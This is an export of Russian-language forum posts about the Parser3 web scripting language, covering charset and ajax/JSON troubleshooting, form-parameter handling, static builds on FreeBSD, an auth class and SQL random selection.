Если Redmine покрывает весь этот функционал, то хорошо. Смотрю там и диаграмма Ганта есть...Но я так понял, финансовую активность сообщества вы все же не рассматриваете всьерьез? :) Нет, и я сам не знаю на сколько это далеко или нет от истины, но как идея, почему нет. Просто иначе, то не давать доступ в закрытую систему, а расшарить какую-то её часть. Пускай какая-то её особо сакральная часть в виде закрытых веток остается внутри самих разработчиков, но должен быть и публичный круг."
"76440","Хотя если честно, я и сам не верю, в финансовую составляющую :)\
В лучшем случае 300 человек, в лучшем случае согласятся на 50 баксов, не ахти какая сумма для проекта из нескольких человек :)\
Эх, только на вам и на студию молиться остается :)"
"76441","... и то никто не сказал сколько они готовы на это тратить ежемесячно. :) Скорее всего разговор про деньги особого смысла не имеет."
"76442","> Я с удовольствием присоединился бы к разработке, но увы я бессилен в плюсах\
\
Ни что не мешает изучить (хотя бы минимально), чтобы суметь разобраться в исходниках. Но помочь можно и без знания Плюсов, опубликовав свои нарааботки на самом Парсере.\
\
> ну та же компиляция кода на парсере, в парсерный байт-код, и возможность хранения и запуска таких файлов...\
> сорсники немного припрятывать в коммерческих продуктах, которые не хочешь, чтобы откровенно по рукам бы пошли\
\
Это не так сильно ускорит код. Сравните utime, stime и время работы с sql-серверами для ваших скриптов и подумайте какую экономию создаст сохранение байт-кода (на загрузку pc-файлов тоже будут накладные раходы) и подумайте стоит ли игра свеч, тем более, что оптимизировать загрузку можно и другими способами. А для обфускации кода эта система не годится вообще.\
\
Тем не менее у Мишы был код для сохранения/загрузки байткода для одной из старых версий — желающие могут допилить.\
\
> мне надо было изменить/заменить определенную байт-последовательность в файле, открытым, как binary\
> посоветовали exec-нуть сторонний скрипт, но я принципиально не хочу exec-ать еще один интерпретатор еще одного языка\
\
В Парсере нет побайтовой работы с данными — это одна из его концепций или «дух». Возможность прямой работы с бинарными данными может создавать реальные проблемы с безопасностью, поэтому вводить их не стоит.\
\
Вызов стороннего скрипта — это вполне нормальная практика, «unix way». И излишняя принципиальность в этом вопросе не имеет практического смысла. Очень рекомендую почитать книжку Эрика Реймонда «Искусство программирования для UNIX», он очень подробно описывает (без всякого кода на плюсах) эту концепцию.\
\
> Redis прикрутить - очень бы хотелось\
\
Вы им активно пользуетесь прямо сейчас? Готовы разобраться во всех ньюансах и подготовить спецификацию классов для Парсера?\
\
p.s. И опять разговор перетек в неконструктивную плоскость. Судя по реакции публики, есть очень много хотелок, но никто не хочет сам взять на себя хотя бы часть работы."
"76443","[quote]Тем не менее у Мишы был код для сохранения/загрузки байткода для одной из старых версий — желающие могут допилить.[/quote]\
\
собственно отказались доводить до конца именно потому, что выигрыша практически нет."
"76444","Как уже говорил, парсер в основном развивается в рамках нужд Студии и, соответственно, на деньги Студии.\
А тут речь идёт о том, чтобы \"скинуться\" на вполне конкретные плюшки, которые желает сообщество, и стоимость разработки которых вполне оценима как по времени, так и по деньгам."
"76446","Есть задача, срок и цена. Когда задача выполнена, то что там поддерживать? А если будут находиться баги в реализации, то исправление \"бесплатно\", т.е. остаётся в рамках задачи."
"76448","Это доступ в Redmine проекта парсер и дает. Почему он не открыт для всех,\
хорошо написал Миша:\
\
http://www.parser.ru/forum/?id=76407\
\
Но при этом мы вполне открыты для всех желающих туда попасть, и у наиболее\
активных участников форума доступ туда уже есть."
"76449","В ходе своих мыслей, я создал этот \"провокационный\" топик, чтобы выявить хоть какой то спрос, не говоря вначале даже о периодике и кол-ве. Однако, даже со стороны лагеря \"пользователей\" - нет конечного понимания. Тут я целиком согласен с Sumo, если действующий состав загружен на 100%, то смысл был в том, чтобы фин.потока хвататило на найм хотя бы 1 дополнительного достойного кандидата на ежемесячной основе - какими бы разовыми поступления не были, и каким бы \"пофичевым\" он не выглядел на стороне пользователя - это только фасад. На бэкярде  это должно было бы обеспечивать хотя бы одну квалифицированную штатную единицу. \
Гг\
Увы, но фрилансовый (позаказный) стиль совершенно не подходит для такого типа задач и проекта. Во-первых, потому, что чем сложнее квалификация (а в случае с написанием стройного кода, который будет служить в продакшне , это мягко говоря инженерия граничащая с изобретательством), тем сложнее и труднее переключения контекста между задачами у такого специалиста, поскольку требует много времени на погружениеи для некоторых тем требуются недели, чтобы плотно погрузиться в тему. Вы можете легко 5 минут класть плитку, а потом 5 минут забивать гвозди, и еще возможно сверстать html-макет даже. Но увы,  это невозможно для сложных задач, требующих больших ресурсов абстрактного и аналитического мышления. Поэтому, нельзя пойти в магазин, и купить 15 минут \"изобретения машины времени\" и на сдачу еще 3 минуты \"написания ИИ\" - так уж человек устроен. Во-вторых, чем квалифицированней труд, тем выше вероятность того, что он уже занят чем то на постоянке на все основное время,  очевидно, что выбор не в пользу каких то непериодически приходящих подрядов. Ну и в-третьих, чем вкуснее фича, тем она, как правило, сложнее, и баги неизбежны, и потребности видоизменяются, и хорошая мысля приходит опосля, словом как и сказал Олег, это требует поддержки на ежемесячной основе.\
\
За сим, топик можно считать закрытым.\
А вот поучавствовать в вопросах и векторах развития - готов."
"76450","Извините, а есть примеры использования метода? А то я что-то не соображу как задать в качестве параметра разделитель тысяч"
"76451","[code]^Lib:numberFormat[123456789][$.sThousandDivider[.]][/code]"
"76452","Приветствую многоуважаемые гуру и монстры парсера. Есть определенная проблема, не получается подружить у меня парсер и Jquery... Все файлы на сервере в кодировке windows-1251, в том числе Jqueri и JqueriUI. Так как я в яве полный дуб ниже привожу куски кода с описанием проблемы поэтапно:\
\
1. Есть скрипт JqueriUI виджет autocomplete который обращается на сервер за данными для формирования выпадающего списка выбора.\
$(document).ready(function() {\
$( \"#tags\" ).autocomplete({\
      source: function(request, response){\
        $.ajax({\
          type: \"POST\",\
          dataType: \"html\",\
          url: \"/jquery/caller/my_key_phrase.rp\",\
          data:request.term,\
          success: function(data){\
          response(data);\
          }\
        });\
      },\
      minLength: 2\
    });\
}); \
\
2. есть серверный скрипт на парсере который ему что-то отдает сейчас это:\
$query[$request:body]\
^if($query eq яя){\
$query,яяяяяя\
}{\
$query,zzzzz\
} \
3. ну и соответственно есть input через который все это вводиться и отображается...\
Так вот есть некоторые проблемы:\
\
Собственно проблемы:\
1. При вводе в input русских букв конструкция ^if($query eq русскиебуквы){true}{false} всегда ложь! Победить пока не удалось\
\
2. При вводе русских букв и попытке вернуть введенное на вывод получается ввел а получил кракозяблу вида Р° и т.д. эта проблема лечиться если в конфигурационный auto.p добавить следующую конструкцию\
$response:content-type[\
	$.value[javascript]\
	$.charset[$response:charset]\
]\
\
3. Если изменить серверную часть на \
$query[$request:body]\
^if($query eq zz){\
$query,яяяяяя\
}{\
$query,zzzzz\
}\
и ввести в input zz то вместо яяяяяя приходит строка состоящая из черных ромбиков &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; лечиться удалением из конфигурационного auto.p добавленной туда ранее конструкции\
$response:content-type[\
	$.value[javascript]\
	$.charset[$response:charset]\
]\
возвращается проблема 2.\
\
Ткните пожалуйста куда копать, сильно подозреваю что-то не то с кодировками... Заранее спасибо всем ответившим."
"76454","Давняя проблема с windows-1251 и ajax-запросами, должно помочь с установкой:\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
	$.value[text/html]\
	$.charset[windows-1251]\
]\
\
Плюс немного правильнее такие конструкции:\
^if($query eq яя){\
\
выписывать как\
^if($query eq \"яя\"){\
\
все-таки строки..."
"76455","Проблема не решилась :( я попробовал для очистки совести, но в конфигурационном auto.p уже есть следующая конструкция:\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]"
"76456","Был похожий геморройчик, правда с utf-8. Получал json из файла с расширением json. Приходили кракозябры. Решилось переименованием файла в js. Попробуй переименовать в html, вдруг поможет"
"76458","my_key_phrase.rp > my_key_phrase.html"
"76460","В конфигурационном auto.p думаю решит вашу проблему.\
Вам же не принципиально, в Windows-1251 работает сайт или в UTF-8?\
На ходировку хранения файлов это никак не влияет, можете продолжать хранить их в Windows-1251."
"76462","Да, я согласен, полностью \"закрыл свой вопрос\" этим ответом\
http://parser.ru/forum/?id=76449"
"76463","Путем научного метода тыка проблема была решена следующим образом:\
в конфигурационном auto.p имеем следующие настройки:\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
$response:content-type[\
	$.value[javascript]\
	$.charset[$response:charset]\
]\
\
и необходимо изменить кодировку файла скрипта который отрабатывает запросы на стороне сервера на UTF-8 \
\
вот так все вроде работает корректно, правда все остальные файлы в windows-1251 и база тоже... Какие могут быть грабли? Эксперименты с базой буду ставить завтра... Заранее всем спасибо за ответы..."
"76464","перейти на UTF-8… и начать уже использовать тэг code для кода в сообщениях?"
"76465","1. в вашем последнем коде вы сначала задаёте один $response:content-type, и следом перебиваете только-что заданное другим значением.\
это -- ненужное шаманство, первое задание $response:content-type нужно убрать.\
\
2. content-type == \"javascript\" -- не корректен. правильно -- \"application/javascript\" или \"application/json\" (если ответ в формате json). \"text/javascript\" тоже будет работать, хотя это и не по стандарту.\
\
3. ajax == utf-8 и никак иначе. по крайней мере его общение с внешним миром (кодировку ответа отдельной страницы можно изменить отдельно от всего сайта, указав $response:charset + $response:content-type в ней). лично я не фанатею, когда происходят перекодировки, т.е. если страница что-то отдаёт в utf-8, то логично, если и написана она будет в utf-8. в принципе отдельную страницу/каталог можно перевести на хранение содержимого в utf-8 ($response:charset[utf-8]), правда если она использует какие-нить общие классы, которые в других кодировках, то будут проблемы. т.е. переходить на хранение файлов в utf-8 лучше сразу на всём сайте (при этом в БД можно оставить всё как есть или перевести потом).\
\
4. ромбики и их аналоги могут появляться когда вы пытаетесь ввести в код страницы, написанной в utf-8 какие-то символы, которые отсутствуют в кодировке, в которой вы выдаёте данные (1251 в вашем случае).\
похоже, что это как раз ваш случай: вы шаманите с кодировками (если response:charset == request:charset то перекодирования нет). а надо делать не чтобы кодировки совпадали, а чтобы response:charset + response:content-type были указаны правильно.\
если у вас всё хранится в 1251 -- укажите в конфигурационном auto.p $request:charset[1251] и больше нигде его не меняйте.\
если у вас страницы пользователям отдаются в 1251, укажите в конфигурационном auto.p $response:charset[1251] и $response:content-type[$.value[text/html] $.charset[$response:charset]]\
когда вам нужно, чтобы какая-то страница отдавала данные в utf-8 (например для ajax) -- то только в этой странице укажите $response:charset[utf-8] и $response:content-type[$.value[text/html] $.charset[$response:charset]]"
"76466","Что-то я не нашёл ответа сходу. Кому-нибудь удавалось собирать парсер для отличных от х86 архитектур?\
В частности, интересует ARMv11."
"76467","Опять все сломалось. =(\
\
Снова ищу человека, который помог бы настроить сайт на Парсере и внести в сайт нек. изменения"
"76468","Боюсь затык будет здесь:\
\
http://www.hpl.hp.com/personal/Hans_Boehm/gc/#platforms\
\
Не вижу там упоминаний ARM. В целом с поддержкой не x86 все довольно неплохо - под SunOS SPARC и Mac OS X PPC парсер собирается, когда-то собирали даже под HP/UX.\
\
Но: парсер можно собрать и без сборки мусора, для этого достаточно в pa_memory.h переопределить 4 метода pa_gc_* и поправить скрипты сборки, чтобы исключить libgc. Дле небольших проектов пойдет.\
\
Что, хотите поставить парсер на маршрутизатор? :) Интересный вариант. Если актуально, можем сделать сборку без libgc штатной возможностью."
"76471","Подумалось, вроде как есть полноценный Debian под ARM, значит libgc под него собирается (возможно с патчами). Вероятно у автора документация устарела. :)"
"76472","Я ему написал еще пару дней назад....\
А в ответ тишина =)\
\
Видимо программисты знающие парсер, долго не живут =))"
"76474","Сорри. Не понял.\
\
Телефон: 8-904-60-333-50 \
Мыло: move180@mail.ru"
"76478","Собственно да, на маршрутизатор. Планирую малиновый пирог на замену линукс-боксу из старого железа собранному однажды."
"76479","На постоянную поддержку одного сайта."
"76481","Извиняюсь что долго не отвечал, работа...\
И так решил принять волевое решение и перевести проект полностью  на utf-8... Поправьте если что-то упустил...\
1. перевел все файлы на диске в utf-8\
2. в конфигурационном auto.p указал\
[code]\
$request:charset[utf-8]\
$response:charset[utf-8]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
[/code]\
3. перегнал базу в utf-8 (экспорт в SQL-файл таблиц с данными-перекодировка файла-замена в файле cp1251 на utf8-удаление базы-создание базы в utf8-импорт таблиц с данными).\
вроде работает нормально..."
"76485","Привет всем! После того как была побеждена проблема с кодировками у меня возникла следующая проблема в связке Ajax+Parser... Все тот же Jquery, JqueryUI и Parser...\
Со стороны сервера:\
[code]\
$sss[^table::create{name \
\"AAA\"\
\"BBB\"\
\"CCC\"\
\"BASIC\"\
\"DDD\"\
\"$query\"\
\"zzzzz\"\
}]\
\
$jjj{^json:string[$sss; \
   $.table[array] \
] \
}\
\
$jjj\
[/code]\
\
Со стороны клиента не работает никак:\
[code]\
$( \"#tags\" ).autocomplete({\
      source: function(request, response){\
        $.ajax({\
          dataType: \"json\",\
          url: \"/jquery/caller/my_key_phrase.rp\",\
          data:request.term,\
          success: function(data){\
          response(data);\
          }\
        });\
      },\
      minLength: 2\
    });\
[/code]\
\
А вот если убрать dataType: \"json\"\
[code]\
$( \"#tags\" ).autocomplete({\
      source: function(request, response){\
        $.ajax({\
          url: \"/jquery/caller/my_key_phrase.rp\",\
          data:request.term,\
          success: function(data){\
          response(data);\
          }\
        });\
      },\
      minLength: 2\
    });\
[/code]\
то отдает результат на вывод, правда в корявом виде по одному символу на строку, причем выводит следующее:[[\"AAA\"],[\"BBB\"],[...],[\"zzzzz\"]] т.е. по идее отдает то что нужно... Почему в первом случае ничего нет? Заранее спасибо всем ответившим."
"76486","$response:content-type[application/json]"
"76487","Если так то не работает \
\
[code]\
$sss[^table::create{name \
\"AAA\"\
...\
\"zzzzz\"\
}]\
\
$jjj{^json:string[$sss; \
   $.table[array] \
] \
}\
$response:content-type[application/json]\
$jjj\
[/code]"
"76488","Может быть файл-исходник был сохранен в блокноте под Windows и первый символ оказался последовательностью UTF-8 (BOM)?\
\
Дело в том, что dataType: json срабатывает при соблюдении 2 условий:\
- json корректный (судя по исходнику он будет корректным), но возможно только BOM символ может помешать\
- отдается content-type */json"
"76489","Сайт работает норм, но когда приходит гугл или бинг-бот вот такая ошибка случается:\
\
read failed: No such file or directory (2), actual filename '/home/user/domains/domain.com.ua/public_html/classes/.#menu.p'\
\
почему-то запрашивается не menu.p а .#menu.p - которого естественно нет.\
\
ось - centos x64 2.6.18-274.18.1.el5\
Apache 2.2.22\
parser последний"
"76490","Где взять документацию к ImageMagick?\
http://www.kulikoff.net/ сдох!"
"76492","Коллеги, не понимаю, отчего:\
[code]\
$n[]\
^n.double(3426879552 & 0xffffffff)\
[/code]\
Возвращает -2147483648, т.е. лимит int'a. Ведь должен возвращать -868087744.\
Подскажите, что не так?"
"76493","Помогите понять, как создать массив (хэш или таблицу) из GET/POST-запрса.\
Имеем строку:\
[code]art=801K27912&count=4&order=666&art=848K13702&count=999&order=999&[/code]\
Как из нее сделать объект класса [b]table[/b] дабы затем делать так:\
\
[code]\
\
^var.menu{\
	art = $var.art, count = $var.count, order = $var.order\
}[<br />]\
\
[/code]\
Читал доки, смотрел примеры, но так ничего и не понял. Извиняюсь, если что-то похожее уже есть."
"76495","Увы, это работает только когда ключи уникальны и не повторяются. \
И такой способ:\
[code]$form:fields.art $form:fields.count $form:fields.order [/code]\
возвращает только первую запись.\
А в моем примере несколько [b]art=[/b], [b]count=[/b] и [b]order=[/b]"
"76497","То как я это понимаю, но это не работает\
[code]\
$massive[$form:tables]\
^massive.menu{\
	$massive.art $massive.count $massive.order \
}[<br />]\
[/code]\
Покажите, пожалуйста, пример, который подходит в моем случае. Спасибо."
"76499","[code]#	Проходимся по всем полям\
\
^form:fields.foreach[key;value]{\
\
	$item[$form:tables.$key]\
\
	^if($item){\
\
#	Если передано множество, то выводим список через запятую\
		\
		$key = \
		^item.menu{ \
		   $item.field \
		}[,]\
	}{\
#		Иначе просто выводи значение поля	\
		$key = $value\
	}\
}[/code]"
"76501","Результат:\
[i]art = 801K27912 , 848K13702 , 801K27912 , 848K13702 count = 4 , 999 , 4 , 999 order = 666 , 999 , 666 , 999[/i]\
\
А должен быть:\
[i]\
art = 801K27912, count = 4, order = 999\
art = 848K43834, count = 999, order = 666\
art = 801K27912, count = 4, order = 999\
art = 848K43834, count = 999, order = 666\
[/i]\
\
PS: Теперь хоть что-то ясно. А то доки так сухо написаны и в них очень мало примеров."
"76503","Логику представленного кода понял и разобрался, но после продолжительного анализа пришел к выводу, что [i]немного подработать напильником[/i] нужно начиная со второй строчки кода.\
Может, есть на свете хорошие люди, способные показать готовый пример?"
"76504","Никакие ухищрения с установкой content-type, сохранением файлов в различных кодировках и форматах результатов не дали..."
"76505","http://www.parser.ru/forum/?id=76414"
"76506","[quote]Не каждый сможет догнать до такого решения.[/quote]\
Вот и я смотрю и не понимаю что там написано.\
Тем более мне-то нужен многомерный массив или таблица. Помогите, пожалуйста."
"76507","Делаете menu по form:tables.art, а по form:tables.count и form:tables.order перемещаетесь в этом же цикле, но, используя метод offset таблиц. Т.е. несложный перебор трех таблиц. [Код пишите сами — все крайне просто.]"
"76508","А где взять примеры, как подключать и т.д?"
"76509","Судя по тому, что kulikoff.net сдох, взять их уже неоткуда.\
Залил для вас [url=\"http://narod.ru/disk/43817032001.6d4665f7abab29c5a83e648bbb071819/image-p3.zip.html\"]архив с классами[/url] на яндекс (7кб)\
Вам останеться лишь подтянуть ImageMagic или NConvert"
"76510","А ведь раньше её не было, тяжеловато было двигаться по offset"
"76511","для пробы взял такой запрос: [code]art=001R00590&count=4&order=1234&supplyer=gt&art=001R00577&count=8&order=587&supplyer=rikom[/code]\
И создал таблицу топорным способом:\
[code]	^if(def $form:art && def $form:count && def $form:order && def $form:supplyer){\
$getz[^table::create[nameless]{\
^form:tables.art.menu{$form:tables.art.field}[	]\
^form:tables.count.menu{$form:tables.count.field}[	]\
^form:tables.order.menu{$form:tables.order.field}[	]\
^form:tables.supplyer.menu{$form:tables.supplyer.field}[	]\
}]\
	}[/code]\
Затем развернул таблицу с помощью .flip и переписал в себя же:\
[code]$getz[^getz.flip[]][/code]\
Ну и тут вывод на экран:\
[code]<table>\
	<tr>\
		<td>ART</td>\
		<td>COUNT</td>\
		<td>ORDER</td>\
		<td>SUPPLYER</td>\
	</tr>\
^getz.menu{\
	<tr>\
		<td>$getz.0</td>\
		<td>$getz.1</td>\
		<td>$getz.2</td>\
		<td>$getz.3</td>\
	</tr>\
}\
</table>[/code]\
\
Вот. такое ощущение, что выкопал котлован совочком, при том что есть экскаватор за спиной.\
Как вариант, можно ведь создать временную таблицу в БД, и в нее вставлять $form:..., а затем делать простой SELECT.\
На php все это, проще, несомненно.  [b]max_rip [/b] прав, в том что $form: - слабая сторона парсера."
"76512","она просто не была расчитана на работу с такими последовательностями.\
Это сейчас есть уверенность в том что параметры приходят в точно таком же порядке. Я не уверен, но такое поведение скорее всего не описано в стандартах. И привязка к этому порядку может потом привести к ошибкам.\
Наилучший способ это сделать так, чтобы в вашем случае каждый параметр был привязан к order. В вашей текущей реализации и php не поможет простыми решениями."
"76513","Задача-то простая: нужно из строки запроса сделать таблицу или многомерный массив. То что есть из арсенала Парсера - слабовато / не удобно, или все тщательно замаскировано и не доступно для простых смертных :)\
\
На счет правильной последовательности, очень надеюсь что не собьется. Делать уникальные ключи для форм - на мой взгляд, нецелесообразно.\
Ведь в данном случае, запросов (состоящих из art= count= order= supplyer=) может быть несколько десятков и все последовательно.\
\
Так же меня не устраивает в моем варианте исполнения то, что если нужно изменить количество передаваемых ключей, то нужно много менять. Да и громоздко получилось.\
\
Может, у вас есть идеи, как можно передавать такую кучу параметров другим способом, например отставить формы, все слить в одну строку и разбивать ее по разделителям?"
"76515","[quote]JSON, XML[/quote]\
Это уже выходит за рамки, вам не кажется? Мы ведь о парсере говорим :)"
"76517","мы не считаем, что такой способ передачи взаимосвязанных данных правильный, поэтому упрощать его не планируем.\
\
за всё время, которое я читаю форум (т.е. с самого его открытия), я не помню, чтобы кто-то ещё так передавал связанные данные (хотя, возможно, я просто забыл).\
\
переносить алгоритмы в лоб из одного языка в другой далеко не всегда получается красиво. у разных языков есть свои фишки, и не всегда они есть и там и там.\
\
я в данном случае поддерживаю max_rip-а. для подобных связанных данных связь должна быть явно указана в именах полей, например с помощью числового суффикса. ориентироваться на последовательность полей в запросе я-бы не стал.\
\
P.S. прямо даже интересно стало, как это делается красиво на php и много-ли его пользователей используют такой способ передачи данных в своих проектах."
"76518","... и ваша задача несколькими строчками кода собрать ту структуру, которая необходимо в конкретном случае.\
\
[code]  $t1[^table::create{name\
a1\
a2\
a3}]\
\
  $t2[^table::create{name\
b1\
b2\
b3}]\
\
  $t3[^table::create{name\
c1\
c2\
c3}]\
\
\
^t1.menu{\
  $t1.name - $t2.name - $t3.name\
  ^t2.offset(1)\
  ^t3.offset(1)\
}[/code]"
"76519","[quote]Например добавите:\
$Relise: 2012-02-10 $\
[/quote]\
\
Нет, такое пока не добавим. Но теперь ident показывает версию и дату модификафии каждого из файлов парсера.\
\
$Id: parser3.C,v 1.260 2012-03-16 09:24:16 moko Exp $"
"76520","> Подумалось, вроде как есть полноценный Debian под ARM, значит libgc под него собирается (возможно с патчами).\
\
Патчи там есть, но не про ARM - оная умеется libgc искаропки."
"76521","Все равно не могу понять. Вот может кто поможет.\
У меня есть форма, с помощью которой я загружаю фотки. Эта форма ссылается на отдельный файл с таким кодом:\
\
^form:Filedata.save[binary;/items/images/$form:Filename]\
\
все работает, загружаются фотки. А я хочу сделать на лету, чтобы добавлялся watermark (png) на загруженные фотки. А как использовать ImageMagick не пойму. На хостинге есть имейджмейджик."
"76523","http://web.archive.org/web/20101019020810/http://kulikoff.net/parser3/img/\
\
Zip c классами: http://web.archive.org/web/20101019020810/http://kulikoff.net/parser3/img/Img.zip"
"76525","День добрый!\
\
Потребовалось освоить хостинг, ограниченный как водится.\
Не могу собрать статический бинарь, напомните, плиз, как это сделать.\
FreeBSD 8.1, parser крайний, вижу зависимость:\
\
ldd /root/parser3install/bin/parser3\
/root/parser3install/bin/parser3:\
        libcrypt.so.5 => /lib/libcrypt.so.5 (0x28299000)\
        libm.so.5 => /lib/libm.so.5 (0x282b2000)\
        libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x282cc000)\
        libc.so.7 => /lib/libc.so.7 (0x282d7000)\
\
При запуске из шелла справедливо ругается на libcrypt\
Компилю при помощи buildall-with-xml, в опции прописал --enable-static - не помогло..."
"76526","Никто не ответит мне да? ( А можно как-нибудь связаться со владельцем сайта? Он же тут отписывался…а сейчас пропал!"
"76527","cd src/targets/cgi\
rm parser3\
make\
\
Смотрите вывод и в последней команде меняете в конце\
\
-Wl,-Bstatic -lstdc++ -Wl,-Bdynamic -lcrypt -lm\
на \
-Wl,-Bstatic -lstdc++ -lcrypt -Wl,-Bdynamic -lm\
\
Это будет статический libcrypt.\
Ну а если сделать так:\
\
-Wl,-Bstatic -lstdc++ -lcrypt -static-libgcc -lm\
\
то получается статическая сборка. Под x86 должно работать,\
под x64 думаю будут проблемы с загрузкой SQL драйвера."
"76528","Спасибо!\
Только при использовании mysql ругается в консоли\
Abort trap: 6\
а в логе(Apache) - Premature end of script headers:\
\
parser3.log не пишет кстати, хотя права есть на каталог с бинарем (по умолчанию).\
\
P.S. Да и вообще на любую ошибку, на любой бред в файле - Abort trap: 6"
"76529",">parser3.log не пишет кстати, хотя права есть на каталог с бинарем (по умолчанию).\
\
Ну так до этого не доходит, процесс убивается системой.\
\
Сложно сказать, что может быть не так, возможно в принципе не работают исключения в c++. \
Если там есть gdb, можно попробовать получить stack trace и из него делать какие-то выводы.\
Хотя я бы наверное поискал более вменяемый хостинг. :)"
"76530","Вот здесь есть подтверждения гиппотезы о проблемах с исключениями,\
возникающие при использовании разных библиотек:\
\
http://unix.derkeiler.com/Mailing-Lists/FreeBSD/hackers/2008-04/msg00066.html\
\
У вас таки только libcrypt сделан статическим или и все остальные библиотеки тоже?"
"76531","собирал ещё с  -Wl,-Bstatic -lstdc++ -lcrypt -lm -Wl,-Bdynamic\
получил на сброчной машине:\
#ldd parser3\
parser3:\
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x282a2000)\
libc.so.7 => /lib/libc.so.7 (0x282ad000)\
\
на удалённой:\
ldd ../../cgi/parser3\
../../cgi/parser3:\
libgcc_s.so.1 => /usr/local/lib/gcc/i386-portbld-freebsd6.2/3.4.6/libgcc_s.so.1 (0x28298000)\
libc.so.7 => not found (0x0)\
libc.so.6 => /lib/libc.so.6 (0x282a0000)\
\
Вот \"отрезать\" бы libc.so.7 - может и попёрло бы...\
\
Думал, библиотека pcre косячит - дистрибутив обламывается, не лежит там 8.12, 8.20 и выше, ручками забрал и так и эдак...\
Нет, дело не в ней..."
"76532","libgcc_s.so от FreeBSD 6, libc 6-ой версии, а не 7-ой. Думаю поэтому новые версии библиотек и не работают при статической линковке. В общем это какая-то странная FreeBSD 8. Бинарник от FreeBSD 6 там не будет случайно работать? В FreeBSD есть поддержка и библиотеки совместимости с предыдущими версиями, у нас на FreeBSD 8 работают бинарники от FreeBSD 4, вопрос включена ли она."
"76533","Хостер красава раскололся - \"для PHP мы значит обновили библиотеки вроде, да вроде и для всего прочего как бы да, не жалуются вроде.\"\
хотя вчера ещё рубаху рвали что всё на 8.1 у них.\
\
Спасибо, всё что у меня понаписано - заработало. И mysql, и лог пишется и сайт работает."
"76534","Простите за нубский вопрос, но как правильно использовать ^insertUser[]?\
[code]^auth.insertUser[\
   $.name[$form:name]\
   $.email[$form:email]\
][/code]\
так ошибка\
[code]^auth.insertUser[\
   $.[auth.name][$form:name]\
   $.[auth.email][$form:email]\
][/code]\
и так тоже ошибка\
[quote]В работе Parser произошла ошибка:\
\
Ошибку вызвал этот фрагмент:\
errors\
Ошибка произошла при работе с файлом:\
\
c:\\apache\\test\\www\\classes///auth.p, строка номер 681[/quote]"
"76535","Может [code]^auth:insertUser[...[/code] ?"
"76536","а параметры как правильно передавать?"
"76537","Я с этим классом не знаком, но явно не второй вариант"
"76538","Как сделать так, чтобы ^math:random(100) выбирало не с 0 до 99, а с 1 до 100? Главное, чтобы оно никогда не сгенерировало 0.\
Например:\
[code]$iQHardCount(^int:sql{\
   SELECT COUNT(*)\
   FROM   q_hard\
})\
$iQHRand(^math:random($iQHardCount))[/code]"
"76540","[code]^auth.insertUser[\
   $.[auth.name][$form:name]\
   $.[auth.email][$form:email]\
][/code]\
\
Так.\
Но, разумеется, должен быть создан объект класса и лежать в $auth.\
\
[quote]В работе Parser произошла ошибка:\
\
Ошибку вызвал этот фрагмент:\
errors\
Ошибка произошла при работе с файлом:\
\
c:\\apache\\test\\www\\classes///auth.p, строка номер 681[/quote]\
\
Нужно писать версию класса.\
А ещё лучше приводить проблемную строку нормальное описание ошибки."
"76542","[code]$iQHardCount(^int:sql{\
   SELECT COUNT(*)\
   FROM   q_hard\
})\
\
$iQHRand(^math:random($iQHardCount))\
\
$tQHard[^table::sql{\
   SELECT question,\
          time\
   FROM   q_hard\
   WHERE  id=^if($iQHRand == 0){$iQHardCount}{$iQHRand}\
}][/code]"
"76547","Без него никак. Вот например колонку \"age\" удалось туда внедрить успешно, изменением методов, где insertUser, updateUser, формы и таблицы БД.\
Хоть и знаю, что лучше перекрывать метод, а не изменять его. Но в данном случае можно, т.к. не планируется обновление класса."
"76548","для добавления \"простых\" полей пользователю никаких правок делать не надо, достаточно конструктору передать параметром таблицу с описанием этих доп. полей:\
[code]\
$oAuth[^auth::create[...;\
	$.additional_fields[^table::create{select	update	field	sType	sLabel\
uuid\
display_name	display_name	display_name	varchar	Имя\
url	url	url	varchar	Сайт\
}]\
]\
[/code]\
\
ну и использовать потом так:\
[code]\
^oAuth.insertUser[...]\
[/code]\
\
а вовсе не статически."
"76552","но вот вы когда вносили правки в insertUser/updateUser, разве сами не увидели ^additional_fields.menu{...}?\
\
и никаких вопросов в голове не возникло?"
"76554","Про additional.fields подумал, что достаточно в форме добавить инпут и он всё сам поймет. Но я почему-то даже не пытался так сделать."
"76556","Если табличка маленькая, то просто:\
\
[code]\
SELECT question, time\
FROM   q_hard\
ORDER BY RAND() \
LIMIT 0,1;\
[/code]\
Это очень тормознутый способ, имейте ввиду, так что лучше так - \
\
[code]\
SELECT question, time\
FROM   q_hard\
WHERE \
   id >= (SELECT FLOOR( MAX(id) * RAND()) FROM `q_hard` ) \
ORDER BY id \
LIMIT 1;[/code]\
\
И еще ваш вариант не будет работать, если записи могут удаляться, т.к. ваше id = (1;count(*)) может попасть на удаленную ранее запись"
"76558","Без ^file:list[] + ^file::stat[]?\
\
Просто обходить каждый раз все файлы трехгигового сайта парсером - это самоубийство. Быть может есть другой, менее требовательный к ресурсам способ?\
\
Заранее спасибо."
"76560","Сделал всё же способом \"^math:random() + 1\""
"76563","Такая проблема пока только с веб-интерфейсом ukr.net.\
\
Файлы отлично отправляются и приходят. Но вот например gif, если его сохранить получается с таким началом внутри:\
\
begin 644 site_logo.gif\
M1TE&.#EAGP%``-4@`(2#A=&8FK\"LK9J7F<&\\O'-S=GAX>X^-CZ6BHZNGJ'Y^\
M@(F(BK:QLI62E+RWMY^=GLRLK>@Q.,ZBH\\FWM^-%2]6#AM]:7]IN<NLF+MAY\
M?-QD:>%05=.-D.8[0NT<)&UN<<?!P0``````````````````````````````\
\
Естественно \"begin 644 site_logo.gif\" в начале уже не позволяет его просмотреть.\
\
Но интерфей ukr.net-а все же позволяет корректно сохранять файлы, присланные из почтовой программы Bat. В чем разница файл-аттача из парсера и Bat ?"
"76565","Сайт прекрасно работал, пока провайдер не перенес его на другой сервер. Разумеется, я буду вентилировать вопрос с самим bhost-ом, но сейчас время очень дорого: может, кто заметит, что тут может глючить? Тут немного.\
\
